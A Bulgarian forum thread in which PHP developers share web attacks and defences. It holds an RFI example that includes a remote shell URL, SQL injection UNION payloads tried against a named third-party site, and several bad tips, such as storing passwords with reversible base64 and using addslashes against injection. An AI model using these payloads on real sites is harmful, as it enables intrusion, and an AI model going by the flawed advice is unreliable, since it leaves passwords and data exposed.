Въпроси за сигурността:примери, начини на защита

emagi

Registered
Темата се пуска, за да бъдат коментирани начините на атака, но не за да се злоупетрябява с тях, а за да се намери начин за защита и опазване на лични данни и информация.В темата може да пише всеки, който знае начин на атака, даде пример с код и начин за противодействие.
Пример:
Атака:име
начин на изпълнение:..........
начин на защита.........
Препоръка...........
Още веднъж посочвам, че тази тема не цели да бъде урок за бъдещи "хакери", а да знаем как да опазим данните си , както нашите, така и на клиентите си.
Надявам се темата да бъде полезна на всички.Очаквам вашите коментари и примери
 
Атака: XSS и други
Начин на защита:
Ето и някои съветчета от мен ако имате сайт, работещ с база данни.
1. Ако използвате $_GET или $_POST методите минавайте променливите им през htmlspecialchars или addslashes (няма нужда и двете едновременно). Най-лесно би станало да сложите в конфигурационния файл този код:
<?
function secure() {
$_GET = @array_map("htmlspecialchars", $_GET);
$_GET = @array_map("addslashes", $_GET);
return $_GET;
}
?>
Маймунските а-та (@) съм ги добавил за да не изкарва възможни грешки.
2. Ако използвате странициране - проверявайте дали страницата (?page=1,2,3,4,5) е наистина число. Примерен код:
<?
$page=$_GET['page'];
if(!is_number($page)){
die ("Грешка");
}
?>
Можете да използвате както и is_number();, така и is_numeric.
Това са моите съвети за сега, ако се сетя още ще пиша.
 
DeathGuard_ каза:
Атака: XSS и други
Начин на защита:
Ето и някои съветчета от мен ако имате сайт, работещ с база данни.
1. Ако използвате $_GET или $_POST методите минавайте променливите им през htmlspecialchars или addslashes (няма нужда и двете едновременно)

Въпросните 2 функции правят различни неща. Например ако сложиш само addslashes то може да се вкарват потенциално опасни JS кодове.
 
Има много различни начини да се вкара нежелан код в чужда страница.
Ако искате да вкарате данни, получени от потребителя, и да ги запазите в база данни може да си докарате голяма беля, ако не знаете как да се защитите.
Доста често във форумите се дискутират различни начини на защита, но най-удачният, който използвам вече навсякъде беше предложен (ако не ме лъже паметта) от @vaskoa. Решението му беше да се използва PDO.

Ето един примерен код:
Код:
$dsn = 'mysql:dbname=testdb;host=localhost';
$user = 'dbuser';
$password = 'dbpass';

try {
    $dbh = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
    echo 'Connection failed: ' . $e->getMessage();
    exit();
}

$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour'); 
$sth->bindParam(':calories', $calories, PDO::PARAM_INT); 
$sth->bindParam(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();

Да разгледаме кода.
на първият ред е написана стандартният за PDO начин за конектване. Пишете си името на базата данни, потребителя, паролата и хоста.
След това както виждате PDO работи с Exceptions, затова ще ви е по-удобно да си сложите собствен хендлър -> http://bg.php.net/set_exception_handler
След това имаме 2 променливи $calories и $color. Да приемем, че са получени от потребител, което автоматично означава, че не може да им се има доверие. Най-важното, което съм научил е, че за да кодираш, независимо на какъв език, трябва да си параноик. Параноята е твой приятел! Запомнете това. Ще ви спести доста главоболия!
След тези променливи сидва ред на SQL заявката.
Обърнете внимание, че на мястото, където трябва да са поставени двете променливи има :color и :calories.
Обяснението е следното: На следващите два реда, те се заместват с променливите, получени от потребителя.
Разликата е, че в PDO::Statements функцията bindParam обезопасява стринга от възможни нежелани кодове. Само трябва да се зададе типа на данните, получени от потребителя. В случая имаме стринг -> PDO::PARAM_STR и число -> PDO::PARAM_INT.
Това е. PDO се оправя с останалото. Вече няма притеснения от SQL Injection!
За пълната документация вижте в http://php.net/pdo
:)
 
StormBreaker каза:
DeathGuard_ каза:
Атака: XSS и други
Начин на защита:
Ето и някои съветчета от мен ако имате сайт, работещ с база данни.
1. Ако използвате $_GET или $_POST методите минавайте променливите им през htmlspecialchars или addslashes (няма нужда и двете едновременно)

Въпросните 2 функции правят различни неща. Например ако сложиш само addslashes то може да се вкарват потенциално опасни JS кодове.
Това не го знаех, благодаря, не съм се задълбочавал в функцията им.
 
Здравейте, ето и 1 идея от мен. Скоро научих, че трябва да се проверяват ВСИЧКИ входни данни от потребителите, а под всички разбирам наистина всички. До сега въобще не се бях сещал, че може да се проненя стойноста на select, radio button и checkbox. До момента аз проверявах всички полета за писане, но не правих тази проверка за горе споменатите полета. Много лесно може да се промени тяхната стойност и да се вкара инжекция :idea: . Затова използвайте това: addslashes(htmlspecialchars($var)); за защита :)
 
Атака: Remote File Inclusion (RFI)
Пример: Имате код подобен на следния:
Код:
$page = $_GET['page'];
include($page.".php");
Подавате стойност http://pat.do/shell и става лошо
Начин за защита:
1. basename($_GET['page']) - връща само името на файла (shell)
2. Създавате си масив с позволените за include файлове:
Код:
$array = array("news", "users", "login", "register", "logout");
if(in_array($_GET['page'], $array)) {
//Include }

Преопоръка: Не използвайте само file_exists, при някой хостове връща TRUE дори да е подаден URL адрес
 
Атака: SQL Injection (SQLi)

Начин на изпълнение:
Преди всичко , ако в сайта ни имаме;
http://site.bg/view.php?id=3

Трябва да го проверим дали е уязвим към SQLi , RFI, LFI and etc.. за да го проверим ще използваме '

Например:
http://site.bg/view.php?id=3'

Ако даде грешка подобна на:
Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in......

Ето един пример:
Код:
http://alexsoft.net/category.php?c=7'

MySQL Version:
Код:
http://alexsoft.net/category.php?c=-7+union+select+1,2,@@version,4--

4.1.22-standard-log


http://site.bg/view.php?id=-1+union+select+1,2,3,@@version,5--

По този начин ще изкара версията на MySQL.. може доста по-големи неща да се изкара..

Начин на защита: Ако използвате в id-то само числа най-добре да използвате int() при вземане на ID-то..
например:

Код:
$id = (int)$_GET['id'];
$query = "SELECT * FROM test_table WHERE id=$id";

Препоръка: Не използвайте заявки като;
Код:
$query = "SELECT * FROM test_table WHERE  id= $_GET['id']";

Защото може да станете жертва на някой "хакер"..

Другото , което искам да кажа е, че дори и да имате пълна защита на сайта ви.. отново може да бъдете пробите , ако хостинг компанията е "бъгава".. :?:


Повече информация (en): http://en.wikipedia.org/wiki/SQL_injection
 
Иска ми се накой да каже няколко думи и за SH1 и MD5.
Дайте примери за начини на хеширане
 
Лично аз препоръчвам MD5 и sha1 да се използват само за информация която няма да се показва. Те не могат да се декриптират и ако се изкарва (например класация на потребителите) то тогава ще бъдат криптирани и няма да показва името на потребителите.

Аз обаче бих предпочел да използвам base64 защото не е нужно да се блокират някакви символи и функцията има decode. От една страна е доста полезно защото може да се записват акаунти пароли и (току що пробвах с дълги съобщения и няма проблеми). Може лесно да се изкарва информация и няма опасност от SQL injection. Лесно при запис се минава през encode функцията а при изкарване на информация през decode. Хубавото е, че не трябва да се съобразяваме и с колацията на базата данни. :wink:

Ето малък пример.
Код:
<?php
$string="Проба ' @$%^&*()";
$encode=base64_encode($string);
$decode=base64_decode($encode);

echo "Обикновенна $string <br>";
echo "Криптирана $encode <br>";
echo "Декодирана $decode <br>";

?>
 
Препоръчвам с md5 или sha1 да се вкарват и допълнителни символи преди и/или след самия стринг за хеширане. Така правите практически невъзможно ползването на dictionary attack и затруднявате изключително много bruteforcването на стринга.

И ползвайте не често използвани знаци. Ето пример:
Код:
md5('∅ÏÄ∫' . $pass . 'Ω¹ú');

И гледайте енкодинга на този php файл да може да поддържа тези символи за по-сигурно. Да не показва квадратчета.
 
Аз пък винаги съм си мислил за паролата + потребителското име... но до сега не съм пробвал...

Код:
<?php
$user = "user";
$password = "password";

$md5 = md5("$user$password");

echo "$md5";

?>

@StormBreaker - тези символи под каква кодировка работят коректно ?
 
t0m3kk каза:
@StormBreaker - тези символи под каква кодировка работят коректно ?

Тези специално под UTF-8 но нищо не ти пречи ако ползваш ANSI (примерно cp1251) да ползваш символи като ? ™ № † които без проблем се поддържат.
 
Да ви кажа аз до какъв извод стигнах. Пробвал съм всички начини за защшта от тук и не съм доволен. Сега реших да огранича символите на потребителите. За сметка малко на комфорта невиждам как ще пробият сайта... Позволявам само букви цифри и някои препинателни знаци. Мисля, че сигурността е най-важното нещо! За кодиране на паролите използвам измислен от мен алгоритъм плюс md5 ;)
 
raiden каза:
Атака: Remote File Inclusion (RFI)
Пример: Имате код подобен на следния:
Код:
$page = $_GET['page'];
include($page.".php");
Подавате стойност http://pat.do/shell и става лошо
Начин за защита:
1. basename($_GET['page']) - връща само името на файла (shell)
2. Създавате си масив с позволените за include файлове:
Код:
$array = array("news", "users", "login", "register", "logout");
if(in_array($_GET['page'], $array)) {
//Include }

Преопоръка: Не използвайте само file_exists, при някой хостове връща TRUE дори да е подаден URL адрес

Може ли един пример как се използва basename

Код:
if(isset($_GET['page'])) {
$rows = secure($_GET['page']);
$rows = basename($_GET['page']);
if (is_file("".$rows.".php")) { require (''.$rows.'.php'); }
else { echo "No Page"; }

Така ли ?

И междодругото това с array нещо не ми се получи:

Код:
if(isset($_GET['page'])) {
$rows = secure($_GET['page']);
$modules = array("index", "register", "logout", "login", "user", "lp");
if (in_array($rows, $modules) && is_file("".$rows.".php")) { require (''.$rows.'.php'); }
else { echo "No Page"; }

Ще може ли малко помощ :shock: :idea:
 
Код:
if(isset($_GET['page'])) 
{
$rows = basename(secure($_GET['page']));
$modules = array("index", "register", "logout", "login", "user", "lp");

if (in_array($rows, $modules)) 
{ 
require ($rows.'.php'); 
}
else 
{ 
echo "No Page"; 
}

В случая може и да не проверяваш дали файла съществува тъй като щом го имаш в масива с позволените значи съществува.
 
Код:
if(isset($_GET['page'])) 
{
$rows = basename(addslashes(htmlspecialchars($_GET['page'], ENT_NOQUOTES)));
$modules = array("index", "register", "logout", "login", "user", "lp");
if (in_array($rows, $modules)) 
{ 
require (''.$rows.'.php'); 
}
else 
{ 
echo "No Page"; 
}

Така дали съм максимално защитен ?
 
За това не ти трябва addslashes(htmlspecialchars(...)). Защото тая променлива не я вкарваш в БД => няма опасност от SQL инжекция.
 
StormBreaker каза:
За това не ти трябва addslashes(htmlspecialchars(...)). Защото тая променлива не я вкарваш в БД => няма опасност от SQL инжекция.
Пример може ли (че нещо не разбрах какво е БД)
 

Back
Горе